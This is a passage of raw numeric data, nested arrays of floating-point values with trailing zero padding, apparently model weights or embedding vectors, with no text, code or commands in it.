-0.0162342, 0.0158759, 0.0256554, -0.0548149, 0.0123436, -0.00166925, -0.0569607, 0.0181122, 0.0155961, -0.0123931, 0.0359315, 0.0325645, -0.0296843, -0.0378299, -0.0129534, 0.0301202, 0.0253604, -0.0440041, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.299518, 0.0198213, -0.0750168, 0.114727, 0.208081, 0.674377, 0.00126143, -0.168019, -0.125785, -0.0783328, -0.243963, -0.00925926, -0.502855, 0.197171, 0.433184, -0.292807, -0.475764, 0.0398995, 0.202066, 0.233008, 0.278434, -0.116591, -0.0718591, 0.126348, -0.407965, -0.135975, 0.212329, 0.091914, 0.0219714, 0.507003, 0.494844, -1.00986, 0.443737, -0.655729, -0.859563, -0.156628, -0.428414, -0.173931, -0.665612, -0.35714, -0.21662, 0.105639, -0.20457, 0.225783, 0.107276, -0.04731, -0.658756, 0.204844, -0.000891234, 0.918929, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0541868, -0.0416238, 0.39578, 0.0872862, 0.0927082, -0.148368, 0.188216, -0.185123, -0.222846, -0.0542825, 0.0988549, 0.0348578, 0.102067, -0.266745, 0.115298, 0.103557, -0.202351, 0.275641, -0.0240045, 0.180065, 0.0594522, -0.0582103, 0.236307, -0.107368, -0.453026, 0.308552, -0.545786, -0.0276285, 0.0342615, 0.344549, -0.270919, -0.00132817, 0.0903315, 0.0654469, -0.257853, 0.124044, -0.285307, -0.29262, 0.113391, -0.182464, -0.474323, -0.111533, -0.309765, -0.0480589, 0.10389, 0.0174089, -0.0827116, 0.091497, -0.383065, -0.20826, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-1.19755, -0.607685, -0.0669224, -0.598417, 1.44139, -0.0471273, -0.361176, 0.607471, -1.65172, -0.0989223, 1.63309, -0.044971, 0.0852102, 0.439375, -0.542025, -0.268, -0.0258706, -1.02478, -0.0985238, 0.239164, -0.213396, -0.302459, 0.701487, 0.23963, -0.303257, -2.3471, 0.477316, 0.529663, -0.0693053, 0.488315, -0.0940711, 0.425084, 1.14606, 0.34386, 0.359147, -0.111464, 0.339869, 0.0791994, -0.465033, 0.0131658, 0.635309, 0.0661192, 0.913787, -0.539423, 0.0918641, -0.00680018, 0.829607, -1.80116, 0.134745, -0.129419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.440802, -0.25894, 0.701427, -2.55098, 1.90561, -0.414218, 0.364636, -0.161117, -3.99418, -0.520593, -6.21846, -0.0297588, 0.130047, 0.624113, -0.331316, -1.66404, 0.381282, -0.0745254, -2.05696, -0.975301, -0.191835, -0.074494, 0.27254, -0.316909, -4.10927, -0.576176, 0.700225, -0.0829179, -0.573441, -1.20598, 0.0661319, -0.111884, -1.46068, 0.415602, 0.149492, 0.0240614, -0.103388, -0.151015, -0.482819, -5.29252, 0.963621, -0.816393, -0.502162, -1.53666, -0.204536, -0.0429552, 1.33122, 0.129722, 0.376609, 0.586103, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.37361, -0.429953, 0.471034, 0.0176817, 0.792876, -0.401381, 0.210514, -0.0317399, -0.975427, -0.298792, 0.206201, 0.00727043, 0.414384, -0.159223, -0.298849, 0.534842, -0.440044, 0.446559, 0.449385, 0.265282, -0.20451, -0.430914, -0.505291, -0.0568529, 0.891587, 0.51711, 0.0927894, 0.527505, 0.4347, 0.0420233, -0.318375, 1.2097, 0.382481, 0.206125, 1.57193, 0.509348, 1.1525, 0.165967, 0.378221, 0.403618, 0.271444, -0.103283, -0.141734, 0.30501, -0.0593026, -0.0398851, 0.516353, -0.0319096, -0.296963, -0.301358, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.338331, -0.127723, -0.697338, 0.0796736, 0.545419, -0.709708, -0.187991, -0.601612, -0.201698, 0.0170051, 0.0671864, -0.0474033, -0.8454, 0.268243, 0.156791, 0.909681, 0.970741, 0.381408, 0.348773, 0.122003, 0.412233, -0.326769, 0.797436, 0.514158, -0.127786, -0.392267, 0.0452863, -0.224083, 0.355941, -0.149493, 0.0494688, 0.195473, -1.83755, -0.0101503, 0.238895, 0.128444, 0.632365, -0.422307, 0.090045, 0.444265, 0.0999272, 0.120887, 0.183044, 0.112471, -0.0317941, 0.00886671, -0.193056, 0.222082, -0.56747, 0.140163, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-9.14093, -0.15093, 0.0597493, 0.246049, -0.0985514, 0.138737, -0.315665, 0.215382, -3.17924, -0.26205, 1.13591, -0.0408773, -0.0887096, 0.12841, -0.168995, -0.28084, -0.00689149, -0.2963, -0.0211646, 0.680662, 0.230668, -5.45079, 0.218405, 0.0424022, -0.125327, -1.07185, -0.299969, -0.208889, -0.0737037, 0.134615, -0.0954527, -0.549981, 0.430139, -0.0931109, -0.230763, 0.196602, 0.0408941, -0.106369, 0.0454458, -1.02084, 0.226515, 0.0152676, -0.584231, 0.18288, 0.0982528, 0.0255827, 0.234412, 0.205522, -0.0655176, -0.160682, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.231776, -0.190041, 0.42022, -0.163946, 0.508064, 0.113623, 0.241175, 0.350747, 0.11151, 0.0481474, 0.500669, 0.0160909, 0.103979, -0.221581, 0.28812, 0.0891532, 0.169333, 0.175623, 0.00223411, -0.309564, 0.22427, 0.097035, -0.156882, -0.0170287, -0.492564, 0.235919, 0.345136, -0.167759, -0.0248334, 0.629282, -0.146793, 0.0656196, -0.0380264, -0.133627, 0.697874, 0.000754198, 0.740206, 0.130206, -0.0111862, 0.385241, 0.0410326, -0.0976676, -0.0324468, 0.0458253, -0.198649, 0.0376948, -0.278056, -0.167796, -0.396937, 0.365892, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0577998, 0.0563863, -0.114311, -0.109751, 0.271381, 0.123555, -0.199865, -0.0411619, -0.266891, -0.0181753, 0.225866, -0.0541716, -0.603935, 0.0892915, -0.0794267, 0.125927, 0.0103052, -0.200566, -0.187126, 0.572626, -0.0850151, -1.1141, -3.17953, 0.166187, -1.42903, -0.159546, 0.16689, 0.00464986, -0.177695, 0.133981, -0.17513, -0.366501, -0.257563, 0.0785668, 0.362859, 0.0542776, -0.189651, 0.240353, 0.245876, -0.679919, 0.0361043, -0.167518, -0.103046, -0.626189, 0.147615, 0.0106151, -0.303117, -0.0837497, -0.0742444, 0.269587, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0375907, -0.0524843, 0.0417109, 0.0403228, -0.00792416, 0.00332371, 0.0309479, -0.0248726, 0.00564879, 0.0184845, -0.0283348, -0.0465736, -0.0163088, 0.0138772, -0.0277719, 0.00284005, -0.0433878, -0.0417416, -0.00367823, -0.0519672, 0.00260471, -0.0070144, 0.0282558, 0.00292649, -0.00748951, -0.01013, 0.0157168, 0.0225055, 0.0240946, -0.0461314, -0.00697004, -0.0238833, -0.0391, 0.0176187, 0.0320657, -0.0459472, -0.0339929, -0.00885811, -0.0511139, -0.0186192, 0.0182891, -0.00131026, -0.0340196, 0.0327512, -0.0242279, -0.00884899, -0.00416671, -0.0124913, 0.011132, 0.0220385, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.594766, -0.0502101, 0.461922, -0.30911, 0.638601, 0.00505028, 0.573159, 0.814867, -2.15988, 0.0743869, -0.807972, -0.0247026, -0.836245, -0.527375, 0.0792139, 0.475279, 0.401178, 0.064794, 0.147511, -0.792961, -0.240821, 0.428766, -1.66657, -0.213987, -0.728569, 0.226387, -0.343351, -0.511698, -0.370215, 0.173805, 0.203821, -0.130851, -0.20786, -0.24594, -0.083535, -0.160083, 0.150859, 0.354276, 0.391472, -0.824143, -0.631821, -0.0768881, 0.0535837, -0.120624, -0.788432, 0.0385233, 0.527625, -0.224413, -0.291455, -0.809062, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.00164164, 0.2823, -0.206291, 0.0414243, 0.349706, -0.211246, 0.181928, -0.672498, -0.884205, -0.0716244, 0.0874329, -0.0220076, 0.236402, -0.110074, -0.240995, 0.385376, -0.0935624, 0.168762, -0.219111, -0.538589, 0.440201, 0.0416453, -0.163037, -0.0640783, -0.471277, -0.524608, -0.526061, 0.393518, 0.168141, 0.557766, -0.0271345, -0.410283, 0.00246465, -0.000744254, -0.450445, 0.0701393, -0.564916, 0.55137, 0.355688, 0.6626, -0.292133, -0.125221, 0.0920149, 0.0670213, -0.161008, 0.0143708, -0.694793, 0.17931, -0.113021, -0.389092, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.39559, 0.17746, -0.129497, -0.38911, -0.221665, 0.238429, 0.192926, -1.78582, -9.68524, -2.15771, -0.734081, -0.0394832, -1.48826, -2.42225, 0.737358, 0.00575085, -0.0725421, 0.97393, -0.58131, 0.747814, 0.110625, 0.228864, -3.91877, 0.314474, -2.21823, -1.80019, -0.0146117, -0.219171, -0.25126, -0.919949, -0.501557, 2.67695, 0.360145, 0.209827, -3.00349, -0.309001, -1.4143, -0.417593, -1.46185, 0.965045, -0.805942, 0.0519082, -2.71874, 0.394052, -1.17237, 0.0183, -0.176352, -1.06379, -0.269392, -0.294455, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.02934, -0.704095, -0.629969, 1.07556, 0.258787, 0.512421, -0.100809, 1.32958, -0.722559, 0.0907412, -0.718448, -0.0245317, -0.988258, 0.0406254, -0.620116, -2.14987, 0.666297, -0.0317696, -0.34567, 0.990141, -0.764488, -0.133065, 0.0235033, -0.681651, -0.804391, -3.16389, 0.0824115, 0.0367538, 1.84455, -0.0262047, -3.2109, 0.543084, 1.09373, -0.190163, -1.61478, 0.16531, -1.88545, -0.412968, -1.22643, 1.60715, 0.646857, -0.203832, -0.147011, 1.17625, -0.313564, 0.01757, 0.876987, -0.137136, -0.887542, 0.993059, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.120949, -0.412855, -1.42273, -0.925178, -1.26832, 0.151168, -0.175369, 0.759806, -0.728959, 0.140989, -8.3616, 0.0155715, -1.61386, -0.389806, 0.605833, 1.15269, -0.170403, -1.97246, -0.180828, 0.107356, 1.32936, 3.64143, 2.6388, -0.459815, 0.276856, 0.157914, -1.96885, -0.483966, 1.00933, 1.01253, -1.91884, 0.579006, 0.368702, 0.156096, -1.04807, 0.651832, 0.0925358, 0.17196, 0.748981, -3.84754, -0.374411, -0.160784, 0.195456, 2.06122, 0.512892, 0.0162467, 0.190019, -0.128105, -0.773908, -2.73903, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.169501, 0.448706, -1.15266, 2.69707, -1.79315, -0.938359, 0.617545, -3.13519, -1.85278, -0.022265, -1.52387, 0.029036, -0.865706, -0.0765182, 0.481246, -0.0403899, -0.00678698, 0.124948, -1.54734, 2.06612, 0.193342, -0.778248, -0.438345, -1.23811, 0.180637, -1.40644, -2.42904, -3.05075, -1.24805, -1.66333, -0.0951716, 0.471432, -1.69653, 0.491198, -1.06281, 0.379992, 0.633095, 0.0898428, -1.63784, 1.68613, -0.375653, 0.0871929, -3.38066, -0.954673, 0.107986, -0.0177328, -0.694263, 0.123851, -2.03217, -0.390199, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.943805, -0.872461, 0.279991, -1.30884, 0.178389, 0.0480261, -0.667211, -0.364982, -1.15406, 0.138572, -2.48988, 0.000165965, -0.065656, -0.243439, 0.223775, 1.02687, 0.23407, -1.16565, 0.300669, 0.292947, 0.343385, 0.0563911, -0.426009, 0.312675, 0.459177, -0.126069, 0.248946, -0.242304, 0.630564, 0.640575, -0.64582, -0.572314, 0.644667, 0.0767418, 0.266842, 0.641141, -0.0479984, 0.551514, 0.0809015, -0.216088, 0.0823424, -0.0257375, -0.131695, 0.141202, -0.23257, 0.00228105, 0.772669, -0.663098, -0.0978508, -0.702917, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.112437, -0.0386855, -0.232468, 1.02156, 0.312135, -0.54315, 0.0869374, 0.686827, -1.73814, -0.327198, -0.30361, -0.0427806, -0.171751, -0.0704133, 0.284997, -0.0180541, -0.113014, 0.0539347, -0.0225512, -0.250551, 0.177929, 0.229522, -1.71924, -0.369309, 0.075866, -0.0575204, -0.034919, -0.123328, -0.335207, 0.163454, -0.219041, -0.0775278, 0.113609, 0.10675, -0.0194537, 0.381612, 0.307008, 0.201248, 1.49747, 0.175595, -0.188495, -0.131244, -0.158058, 0.687397, -0.0731025, 0.0101149, -0.0878969, -0.564003, -0.221376, -0.439222, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.327718, -0.149872, -1.31336, 0.731859, -0.977426, 0.32832, -0.00234204, 0.0448256, -1.11503, -0.0804091, 0.170792, 0.0327015, -0.293139, 0.251811, 0.0739297, 0.0303379, 0.00863047, 0.501262, 0.318808, 0.0660872, 0.0176991, 0.303704, -0.963945, -0.471415, 0.133882, -0.624359, 0.602734, -0.342923, -0.230356, 0.327972, 0.436258, -1.05142, 0.307961, -0.226801, -1.45044, -0.0439807, 0.36473, 0.699274, -0.672783, -0.317635, -0.172456, 0.086674, 0.262541, 0.219245, -0.266211, 0.0367693, -0.200619, 0.0435705, 0.0309795, 1.41426, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.391678, -0.411083, -0.344584, -0.0954256, 0.816022, 0.00108137, 0.229407, 1.26837, 0.611319, -0.139897, 1.46601, 0.00579149, -0.391123, -0.0928069, -1.00798, -1.12316, -0.0175025, 0.328404, -0.126427, -0.734791, -0.0807691, 0.370633, -1.21261, 0.164972, 1.14736, 1.39229, 1.10718, -1.89029, -0.567389, 0.524692, -2.14212, -0.125897, 0.22517, -0.408922, 0.636318, 0.196328, 1.02651, 0.343327, 0.0348537, 0.120994, 0.341699, -0.191807, 0.285754, 1.11575, 0.587386, -0.0395593, 0.0434051, 0.865912, -0.184977, 0.518857, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.386032, -0.287144, -0.810556, -0.0475086, 0.449335, 0.201722, 0.0149536, 0.0218589, -0.248134, -0.369491, 0.27986, 0.0134634, -0.304618, 0.408959, -0.672663, -0.921528, 0.807608, -0.132751, -0.475137, 0.530714, 0.914273, 0.255749, -0.549664, 0.249229, 0.918127, -0.19079, 0.453709, 0.20022, 0.076132, 0.0317621, 0.00770507, 0.446788, -0.669626, 0.0151179, 0.043765, -0.228917, 0.380928, 0.23326, -1.3369, 0.275018, 0.709679, 0.0555902, -0.0351879, -0.249796, -0.712581, 0.0074596, 0.226841, -0.418417, -0.0768339, 0.701486, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.00323839, -0.327658, 0.186867, 0.0277897, 0.504474, -0.259952, 0.192745, 0.811516, -0.0609486, -0.0453694, 0.506101, 0.0123171, 0.184732, 0.0119733, 0.304327, 0.981826, -0.161401, 0.498623, 0.116861, 0.48933, 0.555923, 0.675926, 1.00315, 0.30238, -0.889003, 0.932112, 0.822253, -0.661918, 0.448173, 0.454248, 0.232957, -0.205776, 0.270263, 0.0176074, -0.291442, 0.308518, -0.0199403, 0.143397, 0.312476, 0.207787, -0.183375, 0.0430536, -0.404747, 0.936427, -0.383389, -0.00527487, 0.460406, -0.396823, -0.261986, 0.479519, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.136344, -0.0779861, 0.0599066, -0.0119582, 0.105125, -0.00800025, 0.0094951, -0.0367489, -1.27307, -0.0500492, -0.111617, 0.0344024, -0.105666, 0.114067, -0.591163, 0.568423, 0.0752548, 0.215247, -0.0768792, 0.23513, -0.0809974, 0.097935, -2.14334, 0.169616, 0.200822, -1.48483, 0.12656, -0.211945, -0.124564, 0.0551875, -0.17537, -0.0611427, 0.791341, -0.24728, -0.243595, -0.109542, 0.729724, 0.298302, -0.208231, -0.044786, -0.100281, 0.18084, -0.558498, 0.126792, 0.00740776, 0.0333926, 0.787352, -1.09411, 0.133369, 0.0649631, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.165306, -0.126866, 0.200215, -0.0666226, 0.49538, -0.206029, 0.122702, 0.0836367, 0.0418108, -0.262773, -0.0901151, 0.0274413, -0.235785, -0.114428, 0.144233, 0.0282414, 0.253379, 0.433411, 0.169118, -0.349791, -0.429411, -0.11942, -0.669305, 0.0499499, 0.029782, 0.104771, 0.10501, -0.169043, -0.158487, 0.244264, -0.326223, -0.245222, 0.372751, -0.205065, 0.295502, 0.108516, 0.0586948, 0.178787, 0.207823, -0.131509, -0.119858, 0.0370753, 0.0418454, -0.0957161, -0.0449601, 0.0473632, 0.229938, -0.102072, -0.139826, -0.149593, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.111837, -0.279938, 0.349581, -0.134365, 0.68743, -0.526074, -0.296325, -0.0237363, 0.212981, -0.203402, 0.95449, 0.0182276, -0.296672, -0.210359, -0.108531, -0.226729, 0.465974, 0.331085, -0.293243, -0.0293164, 0.0127881, -0.0420833, -3.31224, 0.0746628, 0.0557487, 0.570975, 2.03429, 0.0194025, -0.0691042, 0.239334, 0.0251655, -0.0540291, 0.699367, 0.130017, 0.375019, -0.115404, -0.718137, 0.424647, 0.63176, 0.0304267, -0.239819, -0.00170641, -0.179852, -0.511657, -0.502728, -0.00287937, -0.177865, -0.427114, -0.432947, 0.522892, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.189338, -0.116923, 0.547828, -0.0936568, 0.375799, 0.0915731, 0.196709, 0.120039, 0.0375767, -0.180194, 0.337516, -0.0205557, 0.553389, -0.212238, -0.0638573, 0.0109563, -0.223003, 0.397723, 0.142734, 0.185805, 0.0414902, -0.302539, 0.452226, -0.333, -0.409816, 0.166526, -0.0691533, 0.171116, -0.019796, 0.340568, -0.203782, 0.319572, 0.0638819, -0.160844, -0.299887, -0.0393621, -0.366029, -0.0427199, 0.238293, 0.543952, -0.137159, -0.196492, -0.191051, 0.32846, -0.0790195, -0.0289108, -0.206654, 0.0204029, -0.249172, 0.187966, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 